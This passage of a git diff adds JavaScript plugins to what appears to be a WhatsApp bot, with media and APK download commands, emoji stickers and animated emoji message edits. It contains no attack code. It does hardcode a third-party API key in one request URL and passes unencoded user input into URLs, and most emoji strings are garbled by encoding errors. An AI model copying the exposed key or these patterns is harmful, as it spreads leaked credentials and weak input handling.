`2๏ธโƒฃ *HD Quality*\n` + + `๐ŸŽต *Audio Options:*\n` + + `3๏ธโƒฃ *Audio*\n` + + `4๏ธโƒฃ *Document*\n` + + `5๏ธโƒฃ *Voice*\n\n` + + `๐Ÿ“Œ *Reply with the number to download your choice.*`; + + const sentMsg = await conn.sendMessage(from, { + image: { url: thumb }, + caption: caption + }, { quoted: m }); + + const messageID = sentMsg.key.id; + + conn.ev.on("messages.upsert", async (msgData) => { + const receivedMsg = msgData.messages[0]; + if (!receivedMsg.message) return; + + const receivedText = receivedMsg.message.conversation || receivedMsg.message.extendedTextMessage?.text; + const senderID = receivedMsg.key.remoteJid; + const isReplyToBot = receivedMsg.message.extendedTextMessage?.contextInfo?.stanzaId === messageID; + + if (isReplyToBot) { + await conn.sendMessage(senderID, { + react: { text: 'โฌ‡๏ธ', key: receivedMsg.key } + }); + + switch (receivedText) { + case "1": + await conn.sendMessage(senderID, { + video: { url: video_sd }, + caption: "๐Ÿ“ฅ *Downloaded in SD Quality*" + }, { quoted: receivedMsg }); + break; + + case "2": + await conn.sendMessage(senderID, { + video: { url: video_hd }, + caption: "๐Ÿ“ฅ *Downloaded in HD Quality*" + }, { quoted: receivedMsg }); + break; + + case "3": + await conn.sendMessage(senderID, { + audio: { url: video_sd }, + mimetype: "audio/mpeg" + }, { quoted: receivedMsg }); + break; + + case "4": + await conn.sendMessage(senderID, { + document: { url: video_sd }, + mimetype: "audio/mpeg", + fileName: "Twitter_Audio.mp3", + caption: "๐Ÿ“ฅ *Audio Downloaded as Document*" + }, { quoted: receivedMsg }); + break; + + case "5": + await conn.sendMessage(senderID, { + audio: { url: video_sd }, + mimetype: "audio/mp4", + ptt: true + }, { quoted: receivedMsg }); + break; + + default: + reply("โŒ Invalid option! Please reply with 1, 2, 3, 4, or 5."); + } + } + }); + + } catch (error) { + console.error("Error:", error); + reply("โŒ An error occurred while processing your request. Please try again."); + } +}); + +// MediaFire-dl + +cmd({ + pattern: "mediafire", + alias: ["mfire"], + desc: "To download MediaFire files.", + react: "๐ŸŽฅ", + category: "download", + filename: __filename +}, async (conn, m, store, { + from, + quoted, + q, + reply +}) => { + try { + if (!q) { + return reply("*โ€ผ๏ธ แด˜สŸแด‡แด€sแด‡ แด˜ส€แดแด ษชแด…แด‡ แด€ แด แด€สŸษชแด… แดแด‡แด…ษชแด€า“ษชส€แด‡ สŸษชษดแด‹.*"); + } + + await conn.sendMessage(from, { + react: { text: "โณ", key: m.key } + }); + + const response = await axios.get(`https://www.dark-yasiya-api.site/download/mfire?url=${q}`); + const data = response.data; + + if (!data || !data.status || !data.result || !data.result.dl_link) { + return reply("*๐Ÿท๏ธแด˜สŸแด‡แด€sแด‡ แด˜ส€แดแด ษชแด…แด‡ แด€ษด แดแด‡แด…ษชแด€า“ษชส€แด‡ สŸษชษดแด‹.แด‡ษดsแดœส€แด‡ แด›สœแด‡ สŸษชษดแด‹ ษชs แด แด€สŸษชแด… แด€ษดแด… แด˜แดœส™สŸษชแด„.*"); + } + + const { dl_link, fileName, fileType } = data.result; + const file_name = fileName || "mediafire_download"; + const mime_type = fileType || "application/octet-stream"; + + await conn.sendMessage(from, { + react: { text: "โฌ†๏ธ", key: m.key } + }); + + const caption = `โ•ญโ•โ•โ•โ• ใ€” *๐€ษญฤซฤซ ๐ŒฦŠ* ใ€•โ•โ•โ•โ•โ\n` + + `โ”ƒโ–ข *า“ษชสŸแด‡ ษดแด€แดแด‡:* ${file_name}\n` + + `โ”ƒโ–ข *า“ษชสŸแด‡ แด›สแด˜แด‡:* ${mime_type}\n` + + `โ•ฐโ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ\n\n` + + `> *แด˜แดแดกแด‡ส€แด‡แด… ส™ส แด€สŸษช แดแด…๐ŸŽ*`; + + await conn.sendMessage(from, { + document: { url: dl_link }, + mimetype: mime_type, + fileName: file_name, + caption: caption + }, { quoted: m }); + + } catch (error) { + console.error("Error:", error); + reply("โŒ An error occurred while processing your request. Please try again."); + } +}); + +// apk-dl + +cmd({ + pattern: "apk", + desc: "Download APK from Aptoide.", + category: "download", + filename: __filename +}, async (conn, m, store, { + from, + quoted, + q, + reply +}) => { + try { + if (!q) { + return reply("*๐Ÿท๏ธ แด˜สŸแด‡แด€sแด‡ แด˜ส€แดแด ษชแด…แด‡ แด€ษด แด€แด˜แด˜ ษดแด€แดแด‡ แด›แด sแด‡แด€ส€แด„สœ.*"); + } + + await conn.sendMessage(from, { react: { text: "โณ", key: m.key } }); + + const apiUrl = `http://ws75.aptoide.com/api/7/apps/search/query=${q}/limit=1`; + const response = await axios.get(apiUrl); + const data = response.data; + + if (!data || !data.datalist || !data.datalist.list.length) { + return reply("โš ๏ธ No results found for the given app name."); + } + + const app = data.datalist.list[0]; + const appSize = (app.size / 1048576).toFixed(2); // Convert bytes to MB + + const caption = `โ•ญโ•โ•โ• ใ€” *๐€ษญฤซฤซ ๐ŒฦŠ ๐€๐๐Š* ใ€•โ•โ•โ•โ +โ”ƒ ๐Ÿท๏ธ *ษดแด€แดแด‡:* ${app.name} +โ”ƒ ๐Ÿ“ฆ *sษชแดขแด‡:* ${appSize} MB +โ”ƒ ๐Ÿ“ฎ *แด˜แด€แด„แด‹แด€ษขแด‡:* ${app.package} +โ”ƒ ๐Ÿ“… *แดœแด˜แด…แด€แด›แด‡แด… แดษด:* ${app.updated} +โ”ƒ ๐Ÿ‘จ๐Ÿปโ€๐Ÿ’ป *แด…แด‡แด แด‡สŸแดแด˜แด‡ส€:* ${app.developer.name} +โ•ฐโ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ +> *แด˜แดแดกแด‡ส€แด‡แด… ส™ส แด€สŸษช แดแด…๐ŸŽ*`; + + await conn.sendMessage(from, { react: { text: "โฌ†๏ธ", key: m.key } }); + + await conn.sendMessage(from, { + document: { url: app.file.path_alt }, + fileName: `${app.name}.apk`, + mimetype: "application/vnd.android.package-archive", + caption: caption + }, { quoted: m }); + + await conn.sendMessage(from, { react: { text: "โœ…", key: m.key } }); + + } catch (error) { + console.error("Error:", error); + reply("โŒ An error occurred while fetching the APK. Please try again."); + } +}); + +// G-Drive-DL + +cmd({ + pattern: "gdrive", + desc: "Download Google Drive files.", + react: "๐ŸŒ", + category: "download", + filename: __filename +}, async (conn, m, store, { + from, + quoted, + q, + reply +}) => { + try { + if (!q) { + return reply("*๐Ÿท๏ธ แด˜สŸแด‡แด€sแด‡ แด˜ส€แดแด ษชแด…แด‡ แด€ แด แด€สŸษชแด… ษขแดแดษขสŸแด‡ แด…ส€ษชแด แด‡ สŸษชษดแด‹.*"); + } + + await conn.sendMessage(from, { react: { text: "โฌ‡๏ธ", key: m.key } }); + + const apiUrl = `https://api.fgmods.xyz/api/downloader/gdrive?url=${q}&apikey=mnp3grlZ`; + const response = await axios.get(apiUrl); + const downloadUrl = response.data.result.downloadUrl; + + if (downloadUrl) { + await conn.sendMessage(from, { react: { text: "โฌ†๏ธ", key: m.key } }); + + await conn.sendMessage(from, { + document: { url: downloadUrl }, + mimetype: response.data.result.mimetype, + fileName: response.data.result.fileName, + caption: "> *แด˜แดแดกแด‡ส€แด‡แด… ส™ส แด€สŸษช แดแด…๐ŸŽ*" + }, { quoted: m }); + + await conn.sendMessage(from, { react: { text: "โœ…", key: m.key } }); + } else { + return reply("โš ๏ธ No download URL found. Please check the link and try again."); + } + } catch (error) { + console.error("Error:", error); + reply("โŒ An error occurred while fetching the Google Drive file. Please try again."); + } +}); + diff --git a/plugins/emix-fun.js b/plugins/emix-fun.js new file mode 100644 index 0000000000000000000000000000000000000000..94b6e201c64dd9e8645e17bca07326d533177b7c --- /dev/null +++ b/plugins/emix-fun.js @@ -0,0 +1,49 @@ +const { cmd } = require("../command"); +const { fetchEmix } = require("../lib/emix-utils"); +const { getBuffer } = require("../lib/functions"); +const { Sticker, StickerTypes } = require("wa-sticker-formatter"); + +cmd({ + pattern: "emix", + desc: "Combine two emojis into a sticker.", + category: "fun", + react: "๐Ÿ˜ƒ", + use: ".emix ๐Ÿ˜‚,๐Ÿ™‚", + filename: __filename, +}, async (conn, mek, m, { args, q, reply }) => { + try { + if (!q.includes(",")) { + return reply("โŒ *Usage:* .emix ๐Ÿ˜‚,๐Ÿ™‚\n_Send two emojis separated by a comma._"); + } + + let [emoji1, emoji2] = q.split(",").map(e => e.trim()); + + if (!emoji1 || !emoji2) { + return reply("โŒ Please provide two emojis separated by a comma."); + } + + let imageUrl = await fetchEmix(emoji1, emoji2); + + if (!imageUrl) { + return reply("โŒ Could not generate emoji mix. Try different emojis."); + } + + let buffer = await getBuffer(imageUrl); + let sticker = new Sticker(buffer, { + pack: "Emoji Mix", + author: "ALI-MD", + type: StickerTypes.FULL, + categories: ["๐Ÿคฉ", "๐ŸŽ‰"], + quality: 75, + background: "transparent", + }); + + const stickerBuffer = await sticker.toBuffer(); + await conn.sendMessage(mek.chat, { sticker: stickerBuffer }, { quoted: mek }); + + } catch (e) { + console.error("Error in .emix command:", e.message); + reply(`โŒ Could not generate emoji mix: ${e.message}`); + } +}); + diff --git a/plugins/emotions-tool.js b/plugins/emotions-tool.js new file mode 100644 index 0000000000000000000000000000000000000000..181c4cb30991ba54d5d074aff4cc05bc344df48d --- /dev/null +++ b/plugins/emotions-tool.js @@ -0,0 +1,349 @@ +const { cmd } = require('../command'); + +cmd({ + pattern: "happy", + desc: "Displays a dynamic edit msg for fun.", + category: "tools", + react: "๐Ÿ˜‚", + filename: __filename +}, +async (conn, mek, m, { from, reply }) => { + try { + const loadingMessage = await conn.sendMessage(from, { text: '๐Ÿ˜‚' }); + const emojiMessages = [ + "๐Ÿ˜ƒ", "๐Ÿ˜„", "๐Ÿ˜", "๐Ÿ˜Š", "๐Ÿ˜Ž", "๐Ÿฅณ", + "๐Ÿ˜ธ", "๐Ÿ˜น", "๐ŸŒž", "๐ŸŒˆ", "๐Ÿ˜ƒ", "๐Ÿ˜„", + "๐Ÿ˜", "๐Ÿ˜Š", "๐Ÿ˜Ž", "๐Ÿฅณ", "๐Ÿ˜ธ", "๐Ÿ˜น", + "๐ŸŒž", "๐ŸŒˆ", "๐Ÿ˜ƒ", "๐Ÿ˜„", "๐Ÿ˜", "๐Ÿ˜Š" + ]; + + for (const line of emojiMessages) { + await new Promise(resolve => setTimeout(resolve, 1000)); // Delay for 1 second + await conn.relayMessage( + from, + { + protocolMessage: { + key: loadingMessage.key, + type: 14, + editedMessage: { + conversation: line, + }, + }, + }, + {} + ); + } + } catch (e) { + console.log(e); + reply(`โŒ *Error!* ${e.message}`); + } +}); + +cmd({ + pattern: "heart", + desc: "Displays a dynamic edit msg for fun.", + category: "tools", + react: "โค๏ธ", + filename: __filename +}, +async (conn, mek, m, { from, reply }) => { + try { + const loadingMessage = await conn.sendMessage(from, { text: '๐Ÿ–ค' }); + const emojiMessages = [ + "๐Ÿ’–", "๐Ÿ’—", "๐Ÿ’•", "๐Ÿฉท", "๐Ÿ’›", "๐Ÿ’š", + "๐Ÿฉต", "๐Ÿ’™", "๐Ÿ’œ", "๐Ÿ–ค", "๐Ÿฉถ", "๐Ÿค", + "๐ŸคŽ", "โค๏ธโ€๐Ÿ”ฅ", "๐Ÿ’ž", "๐Ÿ’“", "๐Ÿ’˜", "๐Ÿ’", + "โ™ฅ๏ธ", "๐Ÿ’Ÿ", "โค๏ธโ€๐Ÿฉน", "โค๏ธ" + ]; + + for (const line of emojiMessages) { + await new Promise(resolve => setTimeout(resolve, 1000)); // Delay for 1 second + await conn.relayMessage( + from, + { + protocolMessage: { + key: loadingMessage.key, + type: 14, + editedMessage: { + conversation: line, + }, + }, + }, + {} + ); + } + } catch (e) { + console.log(e); + reply(`โŒ *Error!* ${e.message}`); + } +}); + +cmd({ + pattern: "angry", + desc: "Displays a dynamic edit msg for fun.", + category: "tools", + react: "๐Ÿคก", + filename: __filename +}, +async (conn, mek, m, { from, reply }) => { + try { + const loadingMessage = await conn.sendMessage(from, { text: '๐Ÿ‘ฝ' }); + const emojiMessages = [ + "๐Ÿ˜ก", "๐Ÿ˜ ", "๐Ÿคฌ", "๐Ÿ˜ค", "๐Ÿ˜พ", "๐Ÿ˜ก", + "๐Ÿ˜ ", "๐Ÿคฌ", "๐Ÿ˜ค", "๐Ÿ˜พ" + ]; + + for (const line of emojiMessages) { + await new Promise(resolve => setTimeout(resolve, 1000)); // Delay for 1 second + await conn.relayMessage( + from, + { + protocolMessage: { + key: loadingMessage.key, + type: 14, + editedMessage: { + conversation: line, + }, + }, + }, + {} + ); + } + } catch (e) { + console.log(e); + reply(`โŒ *Error!* ${e.message}`); + } +}); + +cmd({ + pattern: "sad", + desc: "Displays a dynamic edit msg for fun.", + category: "tools", + react: "๐Ÿ˜ถ", + filename: __filename +}, +async (conn, mek, m, { from, reply }) => { + try { + const loadingMessage = await conn.sendMessage(from, { text: '๐Ÿ˜”' }); + const emojiMessages = [ + "๐Ÿฅบ", "๐Ÿ˜Ÿ", "๐Ÿ˜•", "๐Ÿ˜–", "๐Ÿ˜ซ", "๐Ÿ™", + "๐Ÿ˜ฉ", "๐Ÿ˜ฅ", "๐Ÿ˜“", "๐Ÿ˜ช", "๐Ÿ˜ข", "๐Ÿ˜”", + "๐Ÿ˜ž", "๐Ÿ˜ญ", "๐Ÿ’”", "๐Ÿ˜ญ", "๐Ÿ˜ฟ" + ]; + + for (const line of emojiMessages) { + await new Promise(resolve => setTimeout(resolve, 1000)); // Delay for 1 second + await conn.relayMessage( + from, + { + protocolMessage: { + key: loadingMessage.key, + type: 14, + editedMessage: { + conversation: line, + }, + }, + }, + {} + ); + } + } catch (e) { + console.log(e); + reply(`โŒ *Error!* ${e.message}`); + } +}); + +cmd({ + pattern: "shy", + desc: "Displays a dynamic edit msg for fun.", + category: "tools", + react: "๐Ÿง", + filename: __filename +}, +async (conn, mek, m, { from, reply }) => { + try { + const loadingMessage = await conn.sendMessage(from, { text: '๐Ÿง' }); + const emojiMessages = [ + "๐Ÿ˜ณ", "๐Ÿ˜Š", "๐Ÿ˜ถ", "๐Ÿ™ˆ", "๐Ÿ™Š", + "๐Ÿ˜ณ", "๐Ÿ˜Š", "๐Ÿ˜ถ", "๐Ÿ™ˆ", "๐Ÿ™Š" + ]; + + for (const line of emojiMessages) { + await new Promise(resolve => setTimeout(resolve, 1000)); // Delay for 1 second + await conn.relayMessage( + from, + { + protocolMessage: { + key: loadingMessage.key, + type: 14, + editedMessage: { + conversation: line, + }, + }, + }, + {} + ); + } + } catch (e) { + console.log(e); + reply(`โŒ *Error!* ${e.message}`); + } +}); + +cmd({ + pattern: "moon", + desc: "Displays a dynamic edit msg for fun.", + category: "tools", + react: "๐ŸŒš", + filename: __filename +}, +async (conn, mek, m, { from, reply }) => { + try { + const loadingMessage = await conn.sendMessage(from, { text: '๐ŸŒ' }); + const emojiMessages = [ + "๐ŸŒ—", "๐ŸŒ˜", "๐ŸŒ‘", "๐ŸŒ’", "๐ŸŒ“", "๐ŸŒ”", + "๐ŸŒ•", "๐ŸŒ–", "๐ŸŒ—", "๐ŸŒ˜", "๐ŸŒ‘", "๐ŸŒ’", + "๐ŸŒ“", "๐ŸŒ”", "๐ŸŒ•", "๐ŸŒ–", "๐ŸŒ—", "๐ŸŒ˜", + "๐ŸŒ‘", "๐ŸŒ’", "๐ŸŒ“", "๐ŸŒ”", "๐ŸŒ•", "๐ŸŒ–", + "๐ŸŒ—", "๐ŸŒ˜", "๐ŸŒ‘", "๐ŸŒ’", "๐ŸŒ“", "๐ŸŒ”", + "๐ŸŒ•", "๐ŸŒ–", "๐ŸŒ๐ŸŒš" + ]; + + for (const line of emojiMessages) { + await new Promise(resolve => setTimeout(resolve, 1000)); // Delay for 1 second + await conn.relayMessage( + from, + { + protocolMessage: { + key: loadingMessage.key, + type: 14, + editedMessage: { + conversation: line, + }, + }, + }, + {} + ); + } + } catch (e) { + console.log(e); + reply(`โŒ *Error!* ${e.message}`); + } +}); + +cmd({ + pattern: "confused", + desc: "Displays a dynamic edit msg for fun.", + category: "tools", + react: "๐Ÿค”", + filename: __filename +}, +async (conn, mek, m, { from, reply }) => { + try { + const loadingMessage = await conn.sendMessage(from, { text: '๐Ÿค”' }); + const emojiMessages = [ + "๐Ÿ˜•", "๐Ÿ˜Ÿ", "๐Ÿ˜ต", "๐Ÿค”", "๐Ÿ˜–", + "๐Ÿ˜ฒ", "๐Ÿ˜ฆ", "๐Ÿคท", "๐Ÿคทโ€โ™‚๏ธ", "๐Ÿคทโ€โ™€๏ธ" + ]; + + for (const line of emojiMessages) { + await new Promise(resolve => setTimeout(resolve, 1000)); // Delay for 1 second + await conn.relayMessage( + from, + { + protocolMessage: { + key: loadingMessage.key, + type: 14, + editedMessage: { + conversation: line, + }, + }, + }, + {} + ); + } + } catch (e) { + console.log(e); + reply(`โŒ *Error!* ${e.message}`); + } +}); + +cmd({ + pattern: "hot", + desc: "Displays a dynamic edit msg for fun.", + category: "tools", + react: "๐Ÿ’‹", + filename: __filename +}, +async (conn, mek, m, { from, reply }) => { + try { + const loadingMessage = await conn.sendMessage(from, { text: '๐Ÿ’‹' }); + const emojiMessages = [ + "๐Ÿฅต", "โค๏ธ", "๐Ÿ’‹", "๐Ÿ˜ซ", "๐Ÿคค", + "๐Ÿ˜‹", "๐Ÿฅต", "๐Ÿฅถ", "๐Ÿ™Š", "๐Ÿ˜ป", + "๐Ÿ™ˆ", "๐Ÿ’‹", "๐Ÿซ‚", "๐Ÿซ€", "๐Ÿ‘…", + "๐Ÿ‘„", "๐Ÿ’‹" + ]; + + for (const line of emojiMessages) { + await new Promise(resolve => setTimeout(resolve, 1000)); // Delay for 1 second + await conn.relayMessage( + from, + { + protocolMessage: { + key: loadingMessage.key, + type: 14, + editedMessage: { + conversation: line, + }, + }, + }, + {} + ); + } + } catch (e) { + console.log(e); + reply(`โŒ *Error!* ${e.message}`); + } +}); + +cmd({ + pattern: "nikal", + desc: "Displays a dynamic edit msg for fun.", + category: "tools", + react: "๐Ÿ—ฟ", + filename: __filename +}, +async (conn, mek, m, { from, reply }) => { + try { + const loadingMessage = await conn.sendMessage(from, { text: 'ALI-XMDโ˜ ๏ธ' }); + + // Define the ASCII art messages + const asciiMessages = [ + "โ €โ €โ €โฃ โฃถโกพโ โ ‰โ ™โ ณโขฆโก€โ €โ €โ €โข โ žโ ‰โ ™โ ฒโก€โ €\n โ €โฃดโ ฟโ โ €โ €โ €โ €โ € โขณโก€โ €โกโ €โ €โ € โ € โขท\nโข โฃŸโฃ‹โก€โข€โฃ€โฃ€โก€โ €โฃ€โก€ โฃงโ €โขธโ €โ €โ € โ € โก‡\nโขธโฃฏโกญโ โ ธโฃ›โฃŸโ †โกดโฃปโกฒ โฃฟ โฃธ Nikal โก‡\n โฃŸโฃฟโกญโ €โ €โ €โ €โ €โขฑโ €โ € โฃฟ โขนโ € โก‡\n โ ™โขฟโฃฏโ „โ €โ €โ €__โ € โ € โกฟ โ €โก‡โ €โ €โ €โ € โกผ\nโ €โ €โ €โ นโฃถโ †โ €โ €โ €โ €โ €โกดโ ƒโ € โ ˜โ คโฃ„โฃ โ žโ €\nโ €โ €โ €โ €โขธโฃทโกฆโขคโกคโขคโฃžโฃโ €โ €โ €โ €โ €โ €โ €โ €โ €โ €\nโ €โข€โฃคโฃดโฃฟโฃโ โ €โ €โ ธโฃโขฏโฃทโฃ–โฃฆโก€โ €โ €โ €โ €โ €โ €\nโข€โฃพโฃฝโฃฟโฃฟโฃฟโฃฟโ ›โขฒโฃถโฃพโข‰โกทโฃฟโฃฟโ ตโฃฟโ €โ €โ €โ €โ €โ €\nโฃผโฃฟโ โ ‰โฃฟโกญโ ‰โ ™โขบโฃ‡โฃผโกโ €โ € โ €โฃ„โขธโ €โ €โ €โ €โ €โ €`", "โ €โ €โ €โฃ โฃถโกพโ โ ‰โ ™โ ณโขฆโก€โ €โ €โ €โข โ žโ ‰โ ™โ ฒโก€โ €\n โ €โฃดโ ฟโ โ €โ €โ €โ €โ € โ € โขณโก€โ €โกโ €โ €โ € โ € โขท\nโข โฃŸโฃ‹โก€โข€โฃ€โฃ€โก€โ €โฃ€โก€ โฃงโ €โขธโ €โ €โ € โก‡\nโขธโฃฏโกญโ โ ธโฃ›โฃŸโ †โกดโฃปโกฒ โฃฟ โฃธ Lavde โก‡\n โฃŸโฃฟโกญโ €โ €โ €โ €โ €โขฑโ €โ € โฃฟ โขนโ € โก‡\n โ ™โขฟโฃฏโ „โ €โ €|__|โ €โ € โกฟ โ €โก‡โ €โ €โ €โ € โกผ\nโ €โ €โ €โ นโฃถโ †โ €โ €โ €โ €โ €โกดโ ƒโ € โ ˜โ คโฃ„โฃ โ žโ €\nโ €โ €โ €โ €โขธโฃทโกฆโขคโกคโขคโฃžโฃโ €โ €โ €โ €โ €โ €โ €โ €โ €โ €\nโ €โข€โฃคโฃดโฃฟโฃโ โ €โ €โ ธโฃโขฏโฃทโฃ–โฃฆโก€โ €โ €โ €โ €โ €โ €\nโข€โฃพโฃฝโฃฟโฃฟโฃฟโฃฟโ ›โขฒโฃถโฃพโข‰โกทโฃฟโฃฟโ ตโฃฟโ €โ €โ €โ €โ €โ €\nโฃผโฃฟโ โ ‰โฃฟโกญโ ‰โ ™โขบโฃ‡โฃผโกโ €โ € โ €โฃ„โขธโ €โ €โ €โ €โ €โ €`", "โ €โ €โ €โฃ โฃถโกพโ โ ‰โ ™โ ณโขฆโก€โ €โ €โ €โข โ žโ ‰โ ™โ ฒโก€โ €\n โ €โฃดโ ฟโ โ €โ € โ € โขณโก€โ €โกโ €โ € โ € โขท\nโข โฃŸโฃ‹โก€โข€โฃ€โฃ€โก€โ €โฃ€โก€ โฃงโ €โขธโ €โ €โ €โ € โก‡\nโขธโฃฏโกญโ โ ธโฃ›โฃŸโ †โกดโฃปโกฒ โฃฟ โฃธ Pehli โก‡\n โฃŸโฃฟโกญโ €โ €โ €โ €โ €โขฑโ €โ € โฃฟ โขนโ € โก‡\n โ ™โขฟโฃฏโ „โ €โ €(P)โ €โ € โกฟ โ €โก‡โ €โ €โ €โ € โกผ\nโ €โ €โ €โ นโฃถโ †โ €โ €โ €โ €โ €โกดโ ƒโ € โ ˜โ คโฃ„โฃ โ žโ €\nโ €โ €โ €โ €โขธโฃทโกฆโขคโกคโขคโฃžโฃโ €โ €โ €โ €โ €โ €โ €โ €โ €โ €\nโ €โข€โฃคโฃดโฃฟโฃโ โ €โ €โ ธโฃโขฏโฃทโฃ–โฃฆโก€โ €โ €โ €โ €โ €โ €\nโข€โฃพโฃฝโฃฟโฃฟโฃฟโฃฟโ ›โขฒโฃถโฃพโข‰โกทโฃฟโฃฟโ ตโฃฟโ €โ €โ €โ €โ €โ €\nโฃผโฃฟโ โ ‰โฃฟโกญโ ‰โ ™โขบโฃ‡โฃผโกโ €โ € โ €โฃ„โขธโ €โ €โ €โ €โ €โ €`", "โ €โ €โ €โฃ โฃถโกพโ โ ‰โ ™โ ณโขฆโก€โ €โ €โ €โข โ žโ ‰โ ™โ ฒโก€โ €\n โ €โฃดโ ฟโ โ €โ € โ € โขณโก€โ €โกโ €โ € โ € โขท\nโข โฃŸโฃ‹โก€โข€โฃ€โฃ€โก€โ €โฃ€โก€ โฃงโ €โขธโ € โ € โก‡\nโขธโฃฏโกญโ โ ธโฃ›โฃŸโ †โกดโฃปโกฒ โฃฟ โฃธ Fursat โก‡\n โฃŸโฃฟโกญโ €โ €โ €โ €โ €โขฑโ € โฃฟ โขนโ € โก‡\n โ ™โขฟโฃฏโ „โ €โ €โ €__ โ € โ € โกฟ โ €โก‡โ €โ €โ €โ € โกผ\nโ €โ €โ €โ นโฃถโ †โ €โ €โ €โ €โ €โกดโ ƒโ € โ ˜โ คโฃ„โฃ โ žโ €\nโ €โ €โ €โ €โขธโฃทโกฆโขคโกคโขคโฃžโฃโ €โ €โ €โ €โ €โ €โ €โ €โ €โ €\nโ €โข€โฃคโฃดโฃฟโฃโ โ €โ €โ ธโฃโขฏโฃทโฃ–โฃฆโก€โ €โ €โ €โ €โ €โ €\nโข€โฃพโฃฝโฃฟโฃฟโฃฟโฃฟโ ›โขฒโฃถโฃพโข‰โกทโฃฟโฃฟโ ตโฃฟโ €โ €โ €โ €โ €โ €\nโฃผโฃฟโ โ ‰โฃฟโกญโ ‰โ ™โขบโฃ‡โฃผโกโ €โ € โ €โฃ„โขธโ €โ €โ €โ €โ €โ €`", "โ €โ €โ €โฃ โฃถโกพโ โ ‰โ ™โ ณโขฆโก€โ €โ €โ €โข โ žโ ‰โ ™โ ฒโก€โ €\n โ €โฃดโ ฟโ โ €โ €โ €โ €โ € โขณโก€โ €โกโ €โ € โ € โขท\nโข โฃŸโฃ‹โก€โข€โฃ€โฃ€โก€โ €โฃ€โก€ โฃงโ €โขธโ €โ € โ € โก‡\nโขธโฃฏโกญโ โ ธโฃ›โฃŸโ †โกดโฃปโกฒ โฃฟ โฃธ Meeee โก‡\n โฃŸโฃฟโกญโ €โ €โ €โ €โ €โขฑโ €โ € โฃฟ โขนโ € โก‡\n โ ™โขฟโฃฏโ „โ €โ €|__| โ € โกฟ โ €โก‡โ €โ €โ €โ € โกผ\nโ €โ €โ €โ นโฃถโ †โ €โ €โ €โ €โ €โกดโ ƒโ € โ ˜โ คโฃ„โฃ โ žโ €\nโ €โ €โ €โ €โขธโฃทโกฆโขคโกคโขคโฃžโฃโ €โ €โ €โ €โ €โ €โ €โ €โ €โ €\nโ €โข€โฃคโฃดโฃฟโฃโ โ €โ €โ ธโฃโขฏโฃทโฃ–โฃฆโก€โ €โ €โ €โ €โ €โ €\nโข€โฃพโฃฝโฃฟโฃฟโฃฟโฃฟโ ›โขฒโฃถโฃพโข‰โกทโฃฟโฃฟโ ตโฃฟโ €โ €โ €โ €โ €โ €\nโฃผโฃฟโ โ ‰โฃฟโกญโ ‰โ ™โขบโฃ‡โฃผโกโ €โ € โ €โฃ„โขธโ €โ €โ €โ €โ €โ €`", "โ €โ €โ €โฃ โฃถโกพโ โ ‰โ ™โ ณโขฆโก€โ €โ €โ €โข โ žโ ‰โ ™โ ฒโก€โ €\n โ €โฃดโ ฟโ โ €โ €โ €โ € โ € โ €โขณโก€โ €โกโ €โ € โขท\nโข โฃŸโฃ‹โก€โข€โฃ€โฃ€โก€โ €โฃ€โก€ โฃงโ €โขธโ € โ € โก‡\nโขธโฃฏโกญโ โ ธโฃ›โฃŸโ †โกดโฃปโกฒ โฃฟ โฃธ Nikal โก‡\n โฃŸโฃฟโกญโ €โ €โ €โ €โ €โขฑโ € โฃฟ โขนโ € โก‡\n โ ™โขฟโฃฏโ „โ €โ €loduโ €โ € โกฟ โ €โก‡โ €โ €โ €โ € โกผ\nโ €โ €โ €โ นโฃถโ †โ €โ €โ €โ €โ € โกดโ ƒโ € โ ˜โ คโฃ„โฃ โ žโ €\nโ €โ €โ €โ €โขธโฃทโกฆโขคโกคโขคโฃžโฃโ €โ €โ €โ €โ €โ €โ €โ €โ €โ €\nโ €โข€โฃคโฃดโฃฟโฃโ โ €โ €โ ธโฃโขฏโฃทโฃ–โฃฆโก€โ €โ €โ €โ €โ €โ €\nโข€โฃพโฃฝโฃฟโฃฟโฃฟโฃฟโ ›โขฒโฃถโฃพโข‰โกทโฃฟโฃฟโ ตโฃฟโ €โ €โ €โ €โ €โ €\nโฃผโฃฟโ โ ‰โฃฟโกญโ ‰โ ™โขบโฃ‡โฃผโกโ €โ € โ €โฃ„โขธโ €" + ]; + + // Send the initial loading message + for (const asciiMessage of asciiMessages) { + await new Promise(resolve => setTimeout(resolve, 500)); // Delay for 500ms second + await conn.relayMessage( + from, + { + protocolMessage: { + key: loadingMessage.key, + type: 14, + editedMessage: { + conversation: asciiMessage, + }, + }, + }, + {} + ); + } + } catch (e) { + console.log(e); + reply(`โŒ *Error!* ${e.message}`); + } +}); + +// > JawadTechX diff --git a/plugins/empireali.js b/plugins/empireali.js new file mode 100644 index 0000000000000000000000000000000000000000..fac6bfae4c93007004df318e097590f27e4cb45b --- /dev/null +++ b/plugins/empireali.js @@ -0,0 +1,192 @@ +const { cmd } = require("../command"); + +cmd({ + pattern: "family", + desc: "ali Family", + category: "fun", + react: "๐Ÿ‘จโ€๐Ÿ‘ฉโ€๐Ÿ‘งโ€๐Ÿ‘ฆ", + filename: __filename +}, async (conn, mek, m, { reply }) => { + const familyList = ` + *[ โ€ข ALI ๐–ฅ๐– ๐–ฌ๐–จ๐–ซ๐–ธ โ€ข ]* + + [ โ€ข ๐–ฃ๐– ๐–ฌ๐–ค ALI: ๐–ข๐– ๐–ฑ๐–ฌ๐–ค๐–ญ๐Ÿ‘ธ ] + *โ€ขโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ€ขโŸข* + *๐–ฅ๐–ฑ๐–จ๐–ค๐–ญ๐–ฃโ€™๐–ฒ* + *โ•ญโ”ˆโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ€ข* + *โ”‚ โ—ฆ* *โ–ขโž  ๐–ฒ๐–ค๐–ก๐– ๐–ฒ๐–ณ๐–จ๐–ค๐–ญ* + *โ”‚ โ—ฆ* *โ–ขโž  ๐–ฆ๐– ๐–ฌ๐– ๐–ซ๐–จ๐–ค๐–ซ* + *โ”‚ โ—ฆ* *โ–ขโž  ๐–ฅ๐–ฑ๐– ๐–ญ๐–ข๐–ช* + *โ”‚ โ—ฆ* *โ–ขโž  ๐–ง๐–ค๐–ญ๐–ฑ๐–ธ* + *โ”‚ โ—ฆ* *โ–ขโž  ๐–ซ๐–ค๐– * + *โ”‚ โ—ฆ* 